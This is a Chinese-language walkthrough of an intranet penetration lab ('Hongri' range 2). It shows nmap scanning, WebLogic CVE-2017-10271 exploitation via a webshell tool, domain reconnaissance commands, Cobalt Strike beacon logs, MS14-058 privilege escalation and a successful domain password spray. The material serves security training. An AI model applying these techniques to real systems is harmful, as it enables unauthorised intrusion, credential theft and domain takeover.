红日靶场二#

拓扑图#

前期信息收集+web攻防#

在拿到这个靶机的时候我们直接nmap -sV 192.168.111.80是不可以的

1
 ✘ ⚡ root@kali  /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/红日靶场二  nmap -sV 192.168.111.80
2
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-10 17:20 CST
3
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
4
Nmap done: 1 IP address (0 hosts up) scanned in 3.32 seconds

他会返回这个

然后这个原因是这个80靶机不允许ICMP协议

但是nmap是默认探测主机是否存活所以直接不进行端口扫描

nmap -Pn 192.168.111.80

1
 ⚡ root@kali  /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/红日靶场二  nmap -Pn 192.168.111.80
2
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-10 17:21 CST
3
Nmap scan report for 192.168.111.80
4
Host is up (0.080s latency).
5
Not shown: 989 filtered tcp ports (no-response)
6
PORT      STATE SERVICE
7
80/tcp    open  http
8
135/tcp   open  msrpc
9
139/tcp   open  netbios-ssn
10
445/tcp   open  microsoft-ds
11
1433/tcp  open  ms-sql-s
12
3389/tcp  open  ms-wbt-server
13
7001/tcp  open  afs3-callback
14
49152/tcp open  unknown
15
49153/tcp open  unknown
16
49154/tcp open  unknown
17
49176/tcp open  unknown
18

19
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds

开放端口是80 135 139 445 1433 3389 7001 49152 49153 49154 49176

给的信息不是很完全加上-sV参数看一下

1
 ⚡ root@kali  /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/红日靶场二  nmap -Pn -sV 192.168.111.80
2
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-10 17:26 CST
3
Nmap scan report for 192.168.111.80
4
Host is up (0.086s latency).
5
Not shown: 989 filtered tcp ports (no-response)
6
PORT      STATE SERVICE            VERSION
7
80/tcp    open  http               Microsoft IIS httpd 7.5
8
135/tcp   open  msrpc              Microsoft Windows RPC
9
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
10
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
11
1433/tcp  open  ms-sql-s           Microsoft SQL Server 2008 R2 10.50.4000; SP2
12
3389/tcp  open  ssl/ms-wbt-server?
13
7001/tcp  open  http               Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
14
49152/tcp open  msrpc              Microsoft Windows RPC
15
49153/tcp open  msrpc              Microsoft Windows RPC
16
49154/tcp open  msrpc              Microsoft Windows RPC
17
49176/tcp open  msrpc              Microsoft Windows RPC
18
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
19

20
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
21
Nmap done: 1 IP address (1 host up) scanned in 112.94 seconds

发现7001是一个WebLogic 猜测入口点在这里

然后根据版本去搜索漏洞这个版本比较出名的就是CVE-2017-10271

使用利用工具生成内存码到蚁剑进行利用

这个地方呢需要注意蚁剑模式选择custom

内网信息收集#

信息收集常用命令

1
ipconfig /all   查看本机ip，所在域
2
route print     打印路由信息
3
net view        查看局域网内其他主机名
4
arp -a          查看arp缓存
5
net start       查看开启了哪些服务
6
net share       查看开启了哪些共享
7
net share ipc$  开启ipc共享
8
net share c$    开启c盘共享
9
net config Workstation   查看计算机名、全名、用户名、系统版本、工作站、域、登录域
10
net user                 查看本机用户列表
11
net time /domain        #查看时间服务器，判断主域，主域服务器都做时间服务器
12
net user /domain         查看域用户
13
net localgroup administrators   查看本地管理员组（通常会有域用户）
14
net view /domain         查看有几个域
15
net user 用户名 /domain   获取指定域用户的信息
16
net group /domain        查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）
17
net group 组名 /domain    查看域中某工作组
18
net group "domain admins" /domain  查看域管理员的名字
19
net group "domain computers" /domain  查看域中的其他主机名
20
net group "doamin controllers" /domain  查看域控制器（可能有多台）

打开cs

生成一个后门通过蚁剑船上执行

执行ipconfig

1
[09/10 18:36:34] [*] Tasked beacon to run: ipconfig
2
[09/10 18:36:34] [+] host called home, sent: 39 bytes
3
[09/10 18:36:35] [+] received output:
4

5
Windows IP 配置
6

7

8
以太网适配器 本地连接 2:
9

10
   连接特定的 DNS 后缀 . . . . . . . :
11
   本地链接 IPv6 地址. . . . . . . . : fe80::d812:491a:601c:45c0%13
12
   IPv4 地址 . . . . . . . . . . . . : 10.10.10.80
13
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
14
   默认网关. . . . . . . . . . . . . : 10.10.10.1
15

16
以太网适配器 本地连接:
17

18
   连接特定的 DNS 后缀 . . . . . . . :
19
   本地链接 IPv6 地址. . . . . . . . : fe80::c43b:6d74:a002:b816%11
20
   IPv4 地址 . . . . . . . . . . . . : 192.168.111.80
21
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
22
   默认网关. . . . . . . . . . . . . : 192.168.111.1
23

24
隧道适配器 isatap.{AD80CD23-D97F-4814-A715-9248D845EA0F}:
25

26
   媒体状态  . . . . . . . . . . . . : 媒体已断开
27
   连接特定的 DNS 后缀 . . . . . . . :
28

29
隧道适配器 isatap.{D7E14072-49B9-45D3-BA8C-7955E6146CC2}:
30

31
   媒体状态  . . . . . . . . . . . . : 媒体已断开
32
   连接特定的 DNS 后缀 . . . . . . . :

10.10.10.80

192.168.111.80

然后我们查看域用户

1
[09/10 18:37:26] [*] Tasked beacon to run: net user /domain
2
[09/10 18:37:27] [+] host called home, sent: 47 bytes
3
[09/10 18:37:28] [+] received output:
4
这项请求将在域 de1ay.com 的域控制器处理。
5

6

7
\\DC.de1ay.com 的用户帐户
8

9
-------------------------------------------------------------------------------
10
Administrator            de1ay                    Guest
11
krbtgt                   mssql
12
命令成功完成。

1
[09/10 19:11:40] beacon> shell net group "domain controllers" /domain
2
[09/10 19:11:40] [*] Tasked beacon to run: net group "domain controllers" /domain
3
[09/10 19:11:41] [+] host called home, sent: 81 bytes
4
[09/10 19:11:49] [+] received output:
5
这项请求将在域 de1ay.com 的域控制器处理。
6

7
组名     Domain Controllers
8
注释     域中所有域控制器
9

10
成员
11

12
-------------------------------------------------------------------------------
13
DC$
14
命令成功完成

1
[09/10 19:11:51] beacon> shell net group "domain computers" /domain
2
[09/10 19:11:51] [*] Tasked beacon to run: net group "domain computers" /domain
3
[09/10 19:11:51] [+] host called home, sent: 79 bytes
4
[09/10 19:12:00] [+] received output:
5
这项请求将在域 de1ay.com 的域控制器处理。
6

7
组名     Domain Computers
8
注释     加入到域中的所有工作站和服务器
9

10
成员
11

12
-------------------------------------------------------------------------------
13
PC$                      WEB$
14
命令成功完成。

ping一下DC

1
[09/10 18:37:58] beacon> shell ping de1ay.com
2
[09/10 18:37:58] [*] Tasked beacon to run: ping de1ay.com
3
[09/10 18:37:58] [+] host called home, sent: 45 bytes
4
[09/10 18:38:08] [+] received output:
5

6
正在 Ping de1ay.com [10.10.10.10] 具有 32 字节的数据:
7
来自 10.10.10.10 的回复: 字节=32 时间<1ms TTL=128
8
来自 10.10.10.10 的回复: 字节=32 时间<1ms TTL=128
9
来自 10.10.10.10 的回复: 字节=32 时间<1ms TTL=128
10
来自 10.10.10.10 的回复: 字节=32 时间<1ms TTL=128
11

12
10.10.10.10 的 Ping 统计信息:
13
    数据包: 已发送 = 4，已接收 = 4，丢失 = 0 (0% 丢失)，
14
往返行程的估计时间(以毫秒为单位):
15
    最短 = 0ms，最长 = 0ms，平均 = 0ms

内网提权#

然后因为看到我们这个用户并不是域用户我们尝试使用一些提权方法拿到system权限最终使用MS14-058拿到了system

拿到system后我们对端口进行信息收集(其实我们目标已经确定是10.10.10.10了)

横向移动#

我们拿到后去提取一下密码

拿到的密码都是一样的

然后我们用密码喷射的插件得到

1
[09/10 19:18:19] [+] --------------------------------------------密码喷洒------------------------------------------------------------
2
[09/10 19:18:19] [+] 该功能仅限于当前主机在域内
3
[09/10 19:18:19] [*] Tasked beacon to import: D:\Cyber_Security\tool\web\Intranet_penetration\信息收集\plugin\谢公子插件\.\powershell\DomainPasswordSpray.ps1
4
[09/10 19:18:19] [+] host called home, sent: 6760 bytes
5
[09/10 19:18:33] [*] Tasked beacon to run: Invoke-DomainPasswordSpray -Password 1qaz@WSX (unmanaged)
6
[09/10 19:18:33] [+] host called home, sent: 134277 bytes
7
[09/10 19:18:53] [+] received output:
8
[*] Current domain is compatible with Fine-Grained Password Policy.
9

10
[09/10 19:19:02] [+] received output:
11
ERROR: 不能对值为空的表达式调用方法。
12
ERROR: 所在位置 行:541 字符: 66
13
ERROR: +     $stripped_split_a, $stripped_split_b = $stripped_policy.split <<<< (':',2)
14
ERROR:     + CategoryInfo          : InvalidOperation: (split:String) [], RuntimeException
15
ERROR:     + FullyQualifiedErrorId : InvokeMethodOnNull
16
ERROR:
17
ERROR: 使用“2”个参数调用“ToInt32”时发生异常:“索引超出范围。必须为非负值并小于集合大小。
18
ERROR: 参数名: startIndex”
19
ERROR: 所在位置 行:543 字符: 50
20
ERROR: +     [int]$observation_window = [convert]::ToInt32 <<<< ($observation_window_no_spaces, 10)
21
ERROR:     + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
22
ERROR:     + FullyQualifiedErrorId : DotNetMethodException
23
ERROR:
24
[*] Now creating a list of users to spray...
25
[*] There appears to be no lockout policy.
26
[*] Removing disabled users from list.
27
[*] There are 3 total users found.
28
[*] Removing users within 1 attempt of locking out from list.
29
[*] Created a userlist containing 3 users gathered from the current user's domain
30

31
[09/10 19:19:08] [+] received output:
32
ERROR: 不能对值为空的表达式调用方法。
33
ERROR: 所在位置 行:541 字符: 66
34
ERROR: +     $stripped_split_a, $stripped_split_b = $stripped_policy.split <<<< (':',2)
35
ERROR:     + CategoryInfo          : InvalidOperation: (split:String) [], RuntimeException
36
ERROR:     + FullyQualifiedErrorId : InvokeMethodOnNull
37
ERROR:
38
ERROR: 使用“2”个参数调用“ToInt32”时发生异常:“索引超出范围。必须为非负值并小于集合大小。
39
ERROR: 参数名: startIndex”
40
ERROR: 所在位置 行:543 字符: 50
41
ERROR: +     [int]$observation_window = [convert]::ToInt32 <<<< ($observation_window_no_spaces, 10)
42
ERROR:     + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
43
ERROR:     + FullyQualifiedErrorId : DotNetMethodException
44
ERROR:
45
[*] The domain password policy observation window is set to  minutes.
46
[*] Setting a  minute wait in between sprays.
47
[*] Password spraying has begun with  1  passwords
48
[*] This might take a while depending on the total number of users
49
[*] Now trying password 1qaz@WSX against 3 users. Current time is 11:19
50
[*] Writing successes to
51
[*] SUCCESS! User:Administrator Password:1qaz@WSX
52
1 of 3 users tested
53
[*] SUCCESS! User:de1ay Password:1qaz@WSX
54
2 of 3 users tested
55
[*] SUCCESS! User:mssql Password:1qaz@WSX
56
3 of 3 users tested
57
[*] Password spraying is complete